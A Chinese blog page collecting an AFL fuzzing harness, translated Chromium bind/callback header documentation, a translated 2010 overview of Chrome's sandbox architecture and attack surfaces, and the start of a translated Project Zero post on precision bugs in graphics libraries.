AFL Code



int main(int argc, char** argv)
{

    if(argc>1){

	    FILE *f = fopen(argv[1], "rb");
	    fseek(f, 0, SEEK_END);
	    size_t fsize = ftell(f);
	    rewind(f);

	    uint8_t* str = (uint8_t *)malloc(fsize + 1);
	    memset(str, 0, fsize + 1);
	    fread((void*)str, fsize, 1, f);
	    fclose(f);
	    LLVMFuzzerTestOneInput(str, fsize + 1);

	    free(str);
    	    str = (uint8_t*)0;
    }
    else {
 	   uint8_t* str = (uint8_t *)malloc(4096);
           memset(str, 0, 4096);
           fgets((char*)str, 4095, stdin);

           LLVMFuzzerTestOneInput(str, 4096);

	   free(str);
	  str = (uint8_t*)0;
    }
   return 0;

}
Friday, March 22, 2019 by blast

Document of bind_internal.h in mojo



有关用户文档,请参见base/callback.h。

概念:
————————–
O Runnable — 这个类型(实际上是类型类, type class)具有单个Run()方法,以及对应于Run()的类型的RunType typedef。

Runnable可以通过包含名为IsMethod的typedef来声明它应该被视为方法调用。

该类型函数的值不会被检查,只检查存在的值。

当Runnable声明自己是一个方法时,Bind()将对预期是对象类型的第一个参数强制执行特殊的refcount+WeakPtr处理语义。

O Functor — 一个可复制的类型,表示某个应该被调用的东西。
即使调用语法不同,所有函数指针、Callback<>和Runnables都是仿函数(functor)。

O RunType — Run()函数的函数类型(与函数*指针*类型相反)。
通常只是一种方便的typedef。

O (Bound)ArgsType — 用于存储一组参数的类型的函数类型。
“return”类型在此处始终为void。
使用这种方法,这样我们就不需要为每个类型指定一个新的类型名称。(例如,BindState1、BindState2)。这使得向前声明和友元(Friending)变得容易得多。

类型:
————————–
O RunnableAdapter<> — 将各种“函数”指针类型封装到一个依附于Runnable接口的对象中。

O ForceVoidReturn<> — Helper类,用于将函数特征转换为具有“void”返回类型的等效形式。

O FunctorTraits<> — 使用的类型特征确定仿函数的正确RunType和RunnableType。这是应用函数特征适配器的地方。

O MakeRunnable<> — 接受一个仿函数,并在Runnable类型类中返回一个表示底层仿函数的对象。有|O(1)|的MakeRunnable类型。

O invokeHelper<> — 采用runnable+参数并实际调用它。

处理WeakPtr<>支持和忽略返回值所需的不同语法。这与调用程序是分开的,以避免创建多个版本的Callback<>。

O Invoker<> — 解包curried参数并执行Runnable。

O BindState<> — 存储已绑定的参数,并作为Bind()系统的主要入口点,执行大部分类型解析。存在多个BindState类型。

当|Sig|中的任何参数为非常量引用时,HasNonConstReferenceParam选择true_type。

实例时请注意:此非特化情况仅能处理zero-arity案例。
非zero-arity情况应由以下特化处理。
—————————

实际代码

template <typename Sig>
struct HasNonConstReferenceParam : false_type {};

实现注意:如果第一个参数是非const引用,则选择true_type。否则,跳过第一个参数并递归地检查其余的参数。

template <typename R, typename T, typename... Args>
struct HasNonConstReferenceParam<R(T, Args...)>
    : SelectType<is_non_const_reference<T>::value,
                 true_type,
                 HasNonConstReferenceParam<R(Args...)>>::Type {};

当|ARGS|中的任何一个是指向RefCounted类型的原始指针时,HasRefCountedTypeAsRawPtr选择true_type。
实施注意:此非特化案例仅处理zero-arity的情况。
非zero-arity的情况应由以下特化处理。

template <typename... Args>
struct HasRefCountedTypeAsRawPtr : false_type {};

实施注意事项:如果第一个参数是指向RefCounted类型的原始指针,请选择true_type。否则,跳过第一个参数并递归地检查其余的参数。

template <typename T, typename... Args>
struct HasRefCountedTypeAsRawPtr<T, Args...>
    : SelectType<NeedsScopedRefptrButGetsRawPtr<T>::value,
                 true_type,
                 HasRefCountedTypeAsRawPtr<Args...>>::Type {};

当|is_method|为true且|Args|的第一项为数组类型时,BindsArrayToFirstArg选择true_type。
实现注意:此非特化案例仅处理!is_method的情况和zero-arity的情况。
其他情况应由以下特化代码处理。

template <bool is_method, typename... Args>
struct BindsArrayToFirstArg : false_type {};

template <typename T, typename... Args>
struct BindsArrayToFirstArg<true, T, Args...> : is_array<T> {};

HasRefCountedParamAsRawPtr与HasRefCountedTypeAsRawPtr相同,除非|is_method|为true,HasRefCountedParamAsRawPtr跳过第一个参数。
实现注意:此非特化案例仅处理!is_method的情况和zero-arity的情况。
其他情况应由以下特化代码处理。

template <bool is_method, typename... Args>
struct HasRefCountedParamAsRawPtr : HasRefCountedTypeAsRawPtr<Args...> {};

template <typename T, typename... Args>
struct HasRefCountedParamAsRawPtr<true, T, Args...>
    : HasRefCountedTypeAsRawPtr<Args...> {};

RunnableAdapter<>

RunnableAdapter<>模板为调用函数指针、方法指针或const方法指针提供了统一的接口。适配器公开具有适当签名的Run()方法。
使用这个包装器可以编写支持所有三种指针类型的代码,而不会有不必要的重复。
没有它,许多代码将需要重复3次。

对于方法的指针和const方法的指针,第一个要Run()的参数被认为是被接收到的方法。这类似于STL的mem_fun()。

此类还公开了 RunType typedef ,它是Run()函数的函数类型。

当且仅当包装器包含方法或const方法指针时,将暴露IsMethod typedef。

该类型函数(而不是值)的存在表明wrapper应该被视为method wrapper。

template <typename Functor>
class RunnableAdapter;

// Function.
template <typename R, typename... Args>
class RunnableAdapter<R(*)(Args...)> {
 public:
  typedef R (RunType)(Args...);

  explicit RunnableAdapter(R(*function)(Args...))
      : function_(function) {
  }

  R Run(typename CallbackParamTraits<Args>::ForwardType... args) {
    return function_(CallbackForward(args)...);
  }

 private:
  R (*function_)(Args...);
};

// Method.
template <typename R, typename T, typename... Args>
class RunnableAdapter<R(T::*)(Args...)> {
 public:
  typedef R (RunType)(T*, Args...);
  typedef true_type IsMethod;

  explicit RunnableAdapter(R(T::*method)(Args...))
      : method_(method) {
  }

  R Run(T* object, typename CallbackParamTraits<Args>::ForwardType... args) {
    return (object->*method_)(CallbackForward(args)...);
  }

 private:
  R (T::*method_)(Args...);
};

// Const Method.
template <typename R, typename T, typename... Args>
class RunnableAdapter<R(T::*)(Args...) const> {
 public:
  typedef R (RunType)(const T*, Args...);
  typedef true_type IsMethod;

  explicit RunnableAdapter(R(T::*method)(Args...) const)
      : method_(method) {
  }

  R Run(const T* object,
        typename CallbackParamTraits<Args>::ForwardType... args) {
    return (object->*method_)(CallbackForward(args)...);
  }

 private:
  R (T::*method_)(Args...) const;
};

ForceVoidReturn<>

支持强制函数返回类型为空的一组模板。

template <typename Sig>
struct ForceVoidReturn;

template <typename R, typename... Args>
struct ForceVoidReturn<R(Args...)> {
  typedef void(RunType)(Args...);
};

// FunctorTraits<>
//
// See description at top of file.
template <typename T>
struct FunctorTraits {
  typedef RunnableAdapter<T> RunnableType;
  typedef typename RunnableType::RunType RunType;
};

template <typename T>
struct FunctorTraits<IgnoreResultHelper<T>> {
  typedef typename FunctorTraits<T>::RunnableType RunnableType;
  typedef typename ForceVoidReturn<
      typename RunnableType::RunType>::RunType RunType;
};

template <typename T>
struct FunctorTraits<Callback<T>> {
  typedef Callback<T> RunnableType;
  typedef typename Callback<T>::RunType RunType;
};

MakeRunnable<>

使用类型推断将传入的仿函数转换为RunnableType。

template <typename T>
typename FunctorTraits<T>::RunnableType MakeRunnable(const T& t) {
  return RunnableAdapter<T>(t);
}

template <typename T>
typename FunctorTraits<T>::RunnableType
MakeRunnable(const IgnoreResultHelper<T>& t) {
  return MakeRunnable(t.functor_);
}

template <typename T>
const typename FunctorTraits<Callback<T>>::RunnableType&
MakeRunnable(const Callback<T>& t) {
  DCHECK(!t.is_null());
  return t;
}

InvokeHelper<>
有3个逻辑InvokeHelper<>特化:normal、void-return、WeakCalls。

普通类型只调用基础Runnable。

为了支持IgnoreResult(),我们需要一个InvokeHelper来处理void返回类型。

通常,如果Runnable的RunType返回为空,则模板系统将只接“return functor.Run()”,而忽略了将void函数与Return一起使用这一事实。

当Runnable的RunType不是空的时,这个猜想就会被打破。

因此,我们需要部分特化来更改语法,从调用中删除“return”。

WeakCalls同样需要应用于第一个参数的特殊语法,以检查它们是否应该自己执行no-op。

template <bool IsWeakCall, typename ReturnType, typename Runnable,
          typename ArgsType>
struct InvokeHelper;

template <typename ReturnType, typename Runnable, typename... Args>
struct InvokeHelper<false, ReturnType, Runnable, TypeList<Args...>> {
  static ReturnType MakeItSo(Runnable runnable, Args... args) {
    return runnable.Run(CallbackForward(args)...);
  }
};

template <typename Runnable, typename... Args>
struct InvokeHelper<false, void, Runnable, TypeList<Args...>> {
  static void MakeItSo(Runnable runnable, Args... args) {
    runnable.Run(CallbackForward(args)...);
  }
};

template <typename Runnable, typename BoundWeakPtr, typename... Args>
struct InvokeHelper<true, void, Runnable, TypeList<BoundWeakPtr, Args...>> {
  static void MakeItSo(Runnable runnable, BoundWeakPtr weak_ptr, Args... args) {
    if (!weak_ptr.get()) {
      return;
    }
    runnable.Run(weak_ptr.get(), CallbackForward(args)...);
  }
};

#if !defined(_MSC_VER)

template <typename ReturnType, typename Runnable, typename ArgsType>
struct InvokeHelper<true, ReturnType, Runnable, ArgsType> {

WeakCall仅支持具有空返回类型的函数。
否则,如果WeakPtr<>无效,则不会定义函数结果。

  COMPILE_ASSERT(is_void<ReturnType>::value,
                 weak_ptrs_can_only_bind_to_methods_without_return_values);
};

#endif

// Invoker<>
//
// See description at the top of the file.
template <typename BoundIndices,
          typename StorageType, typename Unwrappers,
          typename InvokeHelperType, typename UnboundForwardRunType>
struct Invoker;

template <size_t... bound_indices,
          typename StorageType,
          typename... Unwrappers,
          typename InvokeHelperType,
          typename R,
          typename... UnboundForwardArgs>
struct Invoker<IndexSequence<bound_indices...>,
               StorageType, TypeList<Unwrappers...>,
               InvokeHelperType, R(UnboundForwardArgs...)> {
  static R Run(BindStateBase* base,
               UnboundForwardArgs... unbound_args) {
    StorageType* storage = static_cast<StorageType*>(base);

本地引用,使调试器调试更容易。
如果在调试器中,你肯定想要提前完成下面的InvokeHelper<>::MakeItSo()调用。

    return InvokeHelperType::MakeItSo(
        storage->runnable_,
        Unwrappers::Unwrap(get<bound_indices>(storage->bound_args_))...,
        CallbackForward(unbound_args)...);
  }
};

BindState<>

这存储了传递到Bind()中的所有状态,也是大多数模板解析发生的神奇地方。

Runnable是我们要绑定参数的仿函数。
RunType是Callback<>应该使用的Run()函数的类型。

通常,这与Runnable的RunType相同,但如果使用了IgnoreResult()这样的适配器,则可能有所不同。

BoundArgsType 包含使用函数类型的所有绑定参数的存储类型。

template <typename Runnable, typename RunType, typename BoundArgList>
struct BindState;

template <typename Runnable,
          typename R,
          typename... Args,
          typename... BoundArgs>
struct BindState<Runnable, R(Args...), TypeList<BoundArgs...>> final
    : public BindStateBase {
 private:
  using StorageType = BindState<Runnable, R(Args...), TypeList<BoundArgs...>>;
  using RunnableType = Runnable;

  // true_type if Runnable is a method invocation and the first bound argument
  // is a WeakPtr.
  using IsWeakCall =
      IsWeakMethod<HasIsMethodTag<Runnable>::value, BoundArgs...>;

  using BoundIndices = MakeIndexSequence<sizeof...(BoundArgs)>;
  using Unwrappers = TypeList<UnwrapTraits<BoundArgs>...>;
  using UnboundForwardArgs = DropTypeListItem<
      sizeof...(BoundArgs),
      TypeList<typename CallbackParamTraits<Args>::ForwardType...>>;
  using UnboundForwardRunType = MakeFunctionType<R, UnboundForwardArgs>;

  using InvokeHelperArgs = ConcatTypeLists<
      TypeList<typename UnwrapTraits<BoundArgs>::ForwardType...>,
      UnboundForwardArgs>;
  using InvokeHelperType =
      InvokeHelper<IsWeakCall::value, R, Runnable, InvokeHelperArgs>;

  using UnboundArgs = DropTypeListItem<sizeof...(BoundArgs), TypeList<Args...>>;

 public:
  using InvokerType = Invoker<BoundIndices, StorageType, Unwrappers,
                              InvokeHelperType, UnboundForwardRunType>;
  using UnboundRunType = MakeFunctionType<R, UnboundArgs>;

  BindState(const Runnable& runnable, const BoundArgs&... bound_args)
      : BindStateBase(&Destroy),
        runnable_(runnable),
        ref_(bound_args...),
        bound_args_(bound_args...) {}

  RunnableType runnable_;
  MaybeScopedRefPtr<HasIsMethodTag<Runnable>::value, BoundArgs...> ref_;
  Tuple<BoundArgs...> bound_args_;

 private:
  ~BindState() {}

  static void Destroy(BindStateBase* self) {
    delete static_cast<BindState*>(self);
  }
};

}  // namespace internal
}  // namespace base
Wednesday, March 6, 2019 by blast

Document of callback.h in mojo



导言
——————
模板回调类是一个广义函数对象。与bind.h中的bind()函数一起,它们提供了一种类型安全的方法来执行函数的部分应用程序。部分应用程序(或“currying”)是将一个函数的参数的子集绑定到生成另一个需要较少参数的函数的过程。这可以用来传递一个延迟执行单元,就像其他语言中使用词法闭包一样。例如,在Chromium代码中使用它来调度不同MessageLoops上的任务。

无未绑定输入参数的回调(base::Callback)称为base::closure。请注意,这与其他语言所称的闭包不同–它不保留对其封闭环境的引用。

内存管理和传递
——————
回调对象本身应该通过常量引用(const-ref)传递,并通过复制进行存储。它们在内部通过一个有引用计数的类存储它们的状态,因此不需要删除。
通过常量引用传递的原因是为了避免不必要的AddRef/Release改变内部状态。

基础材料快速参考
——————
O 绑定普通函数

   int Return5() { return 5; }
   base::Callback<int(void)> func_cb = base::Bind(&Return5);
   LOG(INFO) << func_cb.Run();  // Prints 5.

O 绑定一个类方法

第一个要绑定的参数是要调用的成员函数,第二个参数是要调用它的对象。

   class Ref : public base::RefCountedThreadSafe<Ref> {
    public:
     int Foo() { return 3; }
     void PrintBye() { LOG(INFO) << "bye."; }
   };
   scoped_refptr<Ref> ref = new Ref();
   base::Callback<void(void)> ref_cb = base::Bind(&Ref::Foo, ref);
   LOG(INFO) << ref_cb.Run();  // Prints out 3.

默认情况下,对象必须支持RefCounted,否则将出现编译器错误。如果在线程之间传递,请确保它是RefCountedThreadSafe!如果您不想使用引用计数,请参阅下面的“成员函数的高级绑定”。

O 运行回调

可以使用其“Run”方法运行回调,该方法具有与回调的模板参数相同的特征。

   void DoSomething(const base::Callback<void(int, std::string)>& callback) {
     callback.Run(5, "hello");
   }

回调可以多次运行(运行时不会删除或标记回调)。但是,使用base::Passed时不行(见下文)。

   void DoSomething(const base::Callback<double(double)>& callback) {
     double myresult = callback.Run(3.14159);
     myresult += callback.Run(2.71828);
   }

O 传递未绑定的输入参数

在Run()运行回调时指定未绑定的参数。它们在回调模板类型中指定:

   void MyFunc(int i, const std::string& str) {}
   base::Callback<void(int, const std::string&)> cb = base::Bind(&MyFunc);
   cb.Run(23, "hello, world");

O 绑定(Bound Parameters)输入参数。
当您将回调创建为BIND()的参数时,将指定绑定参数。
它们将被传递给函数,回调Run()的实际运行者看不到这些值,甚至不知道它正在调用的函数。

   void MyFunc(int i, const std::string& str) {}
   base::Callback<void(void)> cb = base::Bind(&MyFunc, 23, "hello world");
   cb.Run();

无未绑定输入参数的回调(base::Callback)称为base::closure。所以我们也可以写:

   base::Closure cb = base::Bind(&MyFunc, 23, "hello world");

调用成员函数时,绑定参数跟在对象指针之后。

   base::Closure cb = base::Bind(&MyClass::MyFunc, this, 23, "hello world");

参数的部分绑定。
可以在创建回调时指定一些参数,在执行回调时指定其余参数。

   void MyFunc(int i, const std::string& str) {}
   base::Callback<void(const std::string&)> cb = base::Bind(&MyFunc, 23);
   cb.Run("hello world");

调用函数时,首先是绑定参数,然后是未绑定参数。

高级绑定的快速参考
——————

O 用弱指针绑定类方法

base::Bind(&MyClass::Foo, GetWeakPtr());

如果对象已被销毁,则不会运行回调。
危险:弱指针不是线程安全的,所以在线程之间传递时不要使用它!

O 绑定类方法并手动进行生存期管理

base::Bind(&MyClass::Foo, base::Unretained(this));

这将禁用对象上的所有生存期管理。
您负责确保对象在调用时处于活动状态。

O 绑定一个类方法并让回调拥有这个类

   MyClass* myclass = new MyClass;
   base::Bind(&MyClass::Foo, base::Owned(myclass));

当回调被销毁时,该对象将被删除,即使它没有运行(如在关闭期间发布任务)。可能对“Fire & Forgot”的情况有用。

O 忽略返回值

有时,您希望调用一个函数,不希望该函数在回调中返回一个值。

   int DoSomething(int arg) { cout << arg << endl; }
   base::Callback<void<int>) cb =
       base::Bind(base::IgnoreResult(&DoSomething));

绑定参数到Bind()的快速参考
——————

O 绑定参数被指定为Bind()的参数,并传递给函数

没有参数或没有未绑定参数的回调称为闭包(base::Callback 和base::closure是一样的)

O 传递回调所拥有的参数

   void Foo(int* arg) { cout << *arg << endl; }
   int* pn = new int(1);
   base::Closure foo_callback = base::Bind(&foo, base::Owned(pn));

该参数将在回调被销毁时被删除,即使它未运行(如在关闭期间发布task)。

O 作为作用域_ptr传递参数

   void TakesOwnership(scoped_ptr<Foo> arg) {}
   scoped_ptr<Foo> f(new Foo);
   // f becomes null during the following call.
   base::Closure cb = base::Bind(&TakesOwnership, base::Passed(&f));

参数的所有权将与回调一起使用,直到将所有权传递给回调函数时才会运行它。这意味着回调只能运行一次。如果回调从未运行过,它将在销毁对象时将其删除。

O 将参数作为scpoed_refptr传递

   void TakesOneRef(scoped_refptr<Foo> arg) {}
   scoped_refptr<Foo> f(new Foo)
   base::Closure cb = base::Bind(&TakesOneRef, f);

这应该“就行了”。只要闭包还活着,它就会接受一个引用,被调用函数的另一个引用也会被接受。

O 通过引用传递参数

除非使用ConstRef,否则常量引用将被*复制*。
举例:

   void foo(const int& arg) { printf("%d %pn", arg, &arg); }
   int n = 1;
   base::Closure has_copy = base::Bind(&foo, n);
   base::Closure has_ref = base::Bind(&foo, base::ConstRef(n));
   n = 2;
   foo(n);                        // Prints "2 0xaaaaaaaaaaaa"
   has_copy.Run();                // Prints "1 0xbbbbbbbbbbbb"
   has_ref.Run();                 // Prints "2 0xaaaaaaaaaaaa"

一般情况下,参数会复制到闭包中。危险:ConstRef在这里会存储一个const引用,并引用原始参数。这意味着您必须确保对象在回调完成前仍然存活!

实施说明
——————

此设计来自何处:
设计回调和绑定思想受到C++的tr1::function/tr1::bin和Google内部使用的“Google回调”系统的影响。

实施是如何工作的:
该系统有三个主要组成部分:
1)回调类。
2)Bind()函数。
3)参数wrapper(例如,UnRetainted()和ConstRef())。

回调类表示泛型函数指针。在内部,它存储一段重新计算的状态,表示目标函数及其所有绑定参数。每个特化回调都有一个模板构造函数,它接受一个BindState<>*。
在构造函数的上下文中,此BindState<>*指针的静态类型唯一地标识它所代表的函数、它的所有绑定参数以及能够调用目标的Run()方法。
回调的构造函数接受具有完整静态类型的BindState<>*,并删除目标函数类型以及绑定参数的类型。
为此,它存储一个指向特定Run()函数的指针,并将BindState<>*的状态转换为BindStateBase*。
只要这个BindStateBase*指针只与存储的Run()指针一起使用,就是安全的。

对于BindState<>*,对象是在Bind()函数中创建的。这些函数,以及一组内部模板负责下列工作:
-将函数特征(Function signature)展开为返回类型和参数。
-确定绑定的参数数量。
-创建存储绑定参数的BindState。
-执行编译时断言以避免容易出错的行为。
-返回一个Callback<>,该回调与未绑定参数的数量匹配,并且如果我们绑定一个方法,它知道目标对象的正确的refcounting 语义。

绑定函数使用类型推断和特化模板来完成上述工作。默认情况下,Bind()将存储所有绑定参数的副本,如果绑定的函数是类方法,则尝试refcount 目标对象。即使函数将参数作为常量引用,也会创建这些副本。(禁止绑定到非const引用,请参见bind.h)。

为了改变这一行为,我们引入了一组参数包装器(例如 Unretained(), ConstRef())。这些是通过值传递的简单容器模板,并包装指向参数的指针。
有关更多信息,请参见base/bind_helpass.h中的文件级注释。

这些类型将分别传递给Unwrap()函数和MaybeRefcount()函数以修改Bind()的行为。Unwrap()和MaybeRefcount()函数通过根据参数是否是wrapper类型执行部分特化来更改行为。
ConstRef()类似于tr1::cref。“Unretained”()是Chromium所特有的。

为什么不使用TR1函数/BIND?

曾经考虑过直接使用tr1::function和tr1::bind,但由于在构造期间绑定参数和在调用期间转发参数所涉及的复制构造函数调用的数量而最终被拒绝。
这些拷贝在C++0x中不再是一个问题,因为C++0x将支持rvalue引用,允许编译器避免这些拷贝。但是,等待C++0x不是一个选项。

在GCC版本4.4.3(Ubuntu4.4.3-4ubuntu5)上使用valgrind进行测量时,tr1::bind调用本身将为每个绑定参数调用三次非简单的复制构造函数。

此外,每次传递tr1::function时,都会再次复制每个绑定参数。除了在绑定和调用时获取的副本外,复制tr1::function还会导致复制所有绑定参数和状态。此外,在Chromium中,在表示类方法调用时,回调需要对目标对象进行引用。这不受tr1支持。

最后,tr1::function和tr1::bind有一个更通用、更灵活的API。
这包括使用tr1::bind::placeholder对参数重新排序、对非Const引用参数的支持以及tr1::function对象的一些有限的子类型(例如,tr1::function可转换为tr1::function)。这些不是Chromium所需的功能。

其中的一些,例如允许引用参数和函数的子类型化,实际上可能会成为错误的来源。删除对这些特性的支持实际上允许更简单的实现和更精确的API。

为什么不用Google Callback呢?
Google回调系统也不支持重新计算。此外,在参数的类型转换方面,它的实现有一些奇怪的边缘情况。特别是,参数的恒定性有时必须与函数特征完全匹配,否则类型推断可能会中断。

鉴于上述情况,编写一个定制的解决方案就更容易了。

目前还缺少的功能:
-调用Bind的返回值,即bind(&foo).Run()不起作用;
-将数组绑定到接受非常量指针的函数。
举例:

      void Foo(const char* ptr);
      void Bar(char* ptr);
      Bind(&Foo, "test");
      Bind(&Bar, "test");  // This fails because ptr is not const.

——————————————

头文件声明:

namespace base {

首先,我们向前声明回调类模板。这将通知编译器,模板只有1个类型参数,这是回调所表示的函数特征。之后,为0-7个参数创建特化模板。

注意,即使模板类型列表增加了,特化仍然只有一个类型:函数特征(Function signature)。

如果您正在考虑在您自己的头文件中向前声明回调,请改为包含“base/Callback_Forward.h”。

template <typename Sig>
class Callback;

namespace internal {
template <typename Runnable, typename RunType, typename BoundArgsType>
struct BindState;
}  // namespace internal

template <typename R, typename... Args>
class Callback<R(Args...)> : public internal::CallbackBase {
 public:
  typedef R(RunType)(Args...);

  Callback() : CallbackBase(NULL) { }

请注意,此构造函数不能是显式的,而且bind()不能返回确切的Callback<>类型。
有关详细信息,请参见base/bind.h。

  template <typename Runnable, typename BindRunType, typename BoundArgsType>
  Callback(internal::BindState<Runnable, BindRunType,
           BoundArgsType>* bind_state)
      : CallbackBase(bind_state) {

强制将赋值赋给Polymoric Invoke的局部变量,这样编译器将检查传入的run()方法是否具有正确的类型。

    PolymorphicInvoke invoke_func =
        &internal::BindState<Runnable, BindRunType, BoundArgsType>
            ::InvokerType::Run;
    polymorphic_invoke_ = reinterpret_cast<InvokeFuncStorage>(invoke_func);
  }

  bool Equals(const Callback& other) const {
    return CallbackBase::Equals(other);
  }

  R Run(typename internal::CallbackParamTraits<Args>::ForwardType... args)
      const {
    PolymorphicInvoke f =
        reinterpret_cast<PolymorphicInvoke>(polymorphic_invoke_);

    return f(bind_state_.get(), internal::CallbackForward(args)...);
  }

 private:
  typedef R(*PolymorphicInvoke)(
      internal::BindStateBase*,
      typename internal::CallbackParamTraits<Args>::ForwardType...);
};

语法糖,使Callback更易于声明,因为它将用于许多具有延迟执行的API中。

typedef Callback<void(void)> Closure;

}  // namespace base
by blast

Azimuth Security: The Chrome Sandbox (2010) Part 1



**这是一篇发布于2010年的文章,许多内容可能已经过时**

http://blog.azimuthsecurity.com/2010/05/chrome-sandbox-part-1-of-3-overview.html
http://blog.azimuthsecurity.com/2010/08/chrome-sandbox-part-2-of-3-ipc.html

机器翻译人工润色

今年早些时候,CanSecWest举办了流行的“Pwn2Own”竞赛,参赛者试图利用他们在流行的软件包中发现的漏洞。该比赛非常关注网络浏览器,今年它并没有让人失望:除了谷歌的Chrome之外所有主要的网络浏览器都被成功入侵。我相信Chrome的生存主要归功于它的集成沙箱,它旨在隔离浏览器,使其无法在运行它的系统上执行任何潜在的不利操作。过去几个月我一直在谷歌与谷歌合作,其中一项主要指控是对沙箱及其相关组件进行安全审查。

第一篇文章将讨论基本的Chrome架构和流程交互。它旨在成为一个高级别的介绍,为将在后续内容上提出的更多技术性讨论奠定基础。第二篇文章将重点介绍Chrome进程用于相互通信的消息传递工具。这些通信失败是Chrome沙箱功能的基础,但更重要的是暴露了广泛的攻击面以实现权限提升。最后的帖子将详细介绍用于从系统其余部分沙箱渲染器进程的Linux和Windows操作系统功能的细节。

多进程架构

Chrome采用多进程架构作为Google“最小特权原则”安全策略的一部分。实质上,沙箱试图将进程与访问目标系统上任何有价值的东西隔离开来 - 包括文件,其他进程和IPC对象(Chrome本身使用的除外)。为了理解Chrome的沙箱,熟悉在浏览会话期间通常存在的各种进程之间如何分区工作非常重要。下图说明了Chrome的多进程架构。

[那张经典的图]

注意
可能存在一些尚未描述的其他进程,具体取决于浏览会话中发生的操作。例如,可以在下载Chrome扩展程序时生成安装程序进程。为简单起见,图中省略了这些辅助进程。
下面简要描述每个主要组件。

浏览器进程 - 在浏览会话期间存在单个特权浏览器进程。浏览器进程负责根据需要生成其他进程,为其配置任务,以及代表没有所需系统访问权限的进程执行特权操作以自行执行操作。

渲染器进程 - 每次打开新选项卡或窗口时都会生成渲染器进程,并负责执行正在查看的网页的解析和呈现。这包括HTML解析,JavaScript功能和图像处理。

插件流程 - 插件托管在自己的私有进程中,并与渲染器和浏览器进程通信。每个不同的插件都有一个进程,无论该插件有多少个不同的嵌入式对象实例。默认情况下,插件进程实际上以完全权限运行(就像浏览器进程一样),但是当某些兼容性问题得到解决时,这最终会发生变化。

GPU流程 - 可选择存在单个GPU流程,以代表渲染器流程执行GPU相关任务。(**注:曾经**)GPU进程不受限于沙盒。

IPC通道 - IPC通道构成了Chrome的消息传递框架,为各种Chrome流程提供了通过本地操作系统特定的传输机制相互交互的工具。

攻击Chrome

从上面的描述中可以明显看出,由于与执行操作的进程相关的特权,某些浏览器组件中的缺陷与其他组件相比具有更严重的安全相关后果。下表提供了暴露于攻击的浏览器的一些主要组件的基本细分以及进行处理的位置。

部分 处理者
网络协议解析 浏览器
创建/管理选项卡/ Windows 浏览器
输入文本的缓存 浏览器
拼写检查/正常化 浏览器
剪贴板管理 浏览器
HTML解析/渲染 渲染
JavaScript解析 渲染
图像处理 渲染
插件 插入
GPU处理 GPU
IPC消息 [所有]

在列出的所有进程中,只有渲染器是沙箱。因此,定位由呈现器以外的任何其他内容执行的公开功能(例如网络协议解析)可能会产生导致远程访问目标系统的错误,而不会产生沙箱通常会施加的任何其他限制。话虽如此,渲染器执行的功能包含了Web浏览器常用攻击面的很大一部分,因此未来Chrome中发现的大部分漏洞可能会继续与这些组件相关。由于Chrome沙箱的限制性,攻击者必须在损害渲染器以获得进一步访问系统后使用第二个漏洞升级其权限。因此,Chrome中的权限提升向量也是任何安全审核的关键焦点。特权升级有几个主要攻击面,如下所示:

IPC消息传递 - 在用于进程间通信的消息传递框架中解析缺陷将提供获得其中一个非沙盒进程的特权的理想方法。这个区域将在下一篇博客文章中进行深入研究。

公开服务 - 参与Chrome浏览会话的每个流程都通过上述IPC渠道向其他流程公开服务。重要的是要评估可以从渲染器调用的所有公开函数,以便编程缺陷或导致沙箱旁路的无意间产生的安全漏洞。此攻击面也将在下一篇博文中广泛介绍。

沙箱弱点 -在攻击任何沙箱时,必须熟悉沙箱防范的内容,以及它在执行单独处理的各种限制时的有效性。本系列的第三篇博文将讨论沙箱本身及其在Linux和Windows上的实现方式。我还将举例说明我在两个沙箱实现中发现的漏洞

共享资源 - 应该注意的是,攻击更多特权进程有几种间接形式。具体而言,一些音频,视频和图形数据由渲染器进程提供给更具特权的进程(例如GPU进程),方法是将该数据放在共享内存缓冲区中,然后通知更具特权的进程。由于这些数据的某些解析发生在更多特权进程中,因此它可能是一种可能有用的途径,可用于定位解析漏洞以获得对系统的进一步访问。这条途径虽然很有趣,但没有进一步讨论,而是留给读者练习。

操作系统/外部软件 - 当然,攻击者可以针对操作系统内核或外部软件组件(如本地服务)中的缺陷进行攻击。这些载体超出了本讨论范围,不再进一步考虑。
结论

正如您所看到的,需要覆盖大量材料。收听我接下来的两篇文章,我会更深入地了解沙箱的细节,并提出我在整个审核过程中发现的一些缺陷!

Friday, November 30, 2018 by blast

Drawing Outside the Box: Precision Issues in Graphic Libraries



马克·布兰德和伊万·弗雷特合著,Project Zero。 https://googleprojectzero.blogspot.com/2018/07/drawing-outside-box-precision-issues-in.html

在这篇博文中,我们将讨论一种罕见的漏洞类,它通常会影响图形库(尽管它也可能出现在其他类型的软件中)。这些问题的根本原因是在精度错误会使应用程序所做的安全假设失效的情况下使用有限的精度算法。

虽然我们也可以调用其他类的Bug精度问题,即整数溢出,但主要区别在于:对于整数溢出,我们处理的是算术运算,其结果的大小太大,不能在给定的精度下精确表示。有了这篇博文中描述的问题,我们处理的是算术运算,这些运算的结果或部分结果的大小太小,无法用给定的精度精确表示。

在对安全性敏感的操作中使用浮点运算时,可能会出现这些问题,但正如我们稍后将演示的那样,在某些情况下整数运算也会出现这些问题。

让我们来看一个简单的例子:

 float a = 100000000;
 float b = 1;
 float c = a + b;

如果我们以任意精度进行计算,结果将是100000001。
但是,由于浮点通常只允许24位精度,因此结果实际上是100000000。
如果应用程序通常合理地假设a>0和b>0意味着a+b>a,则这可能导致问题。
在上面的例子中,a和b之间的差异如此之大,以至于b在计算结果中完全消失,但如果差异较小,例如,精度误差也会发生。

float a = 1000;
float b = 1.1111111;
float c = a + b;

上述计算的结果将是1001.111084,而不是1001.1111111,这将是准确的结果。
在这里,只丢失了b的一部分,但即使是这样的结果有时也会产生有趣的后果。

虽然我们在上面的示例中使用了float类型,在这些特定的示例中使用double将导致更精确的计算,但同样的精度错误也可能发生在double中。
在这篇博文的其余部分,我们将展示几个具有安全影响的精确问题的示例。
Project Zero的两名成员对这些问题进行了独立的探讨:马克·布兰德(Mark Brand)研究了Chrome中使用的一种OpenGL实现软件SwiftShader,以及伊万·弗雷特(Ivan Fratric)研究了Chrome和Firefox中使用的Skia图形库。

SwiftShader

SwiftShader是“基于CPU的OpenGL ES和Direct3D 9图形API的高性能实现”。
它在所有平台的Chrome中作为后备渲染选项使用,以绕过图形硬件或驱动程序的限制,允许在更广泛的设备上普遍使用WebGL和其他高级javascript渲染API。
SwiftShader中的代码需要模拟通常由GPU执行的各种操作。

我们通常认为GPU上的一个操作本质上是“0成本”的,那就是提升比例,或从小的源纹理绘制到更大的区域,例如在屏幕上。
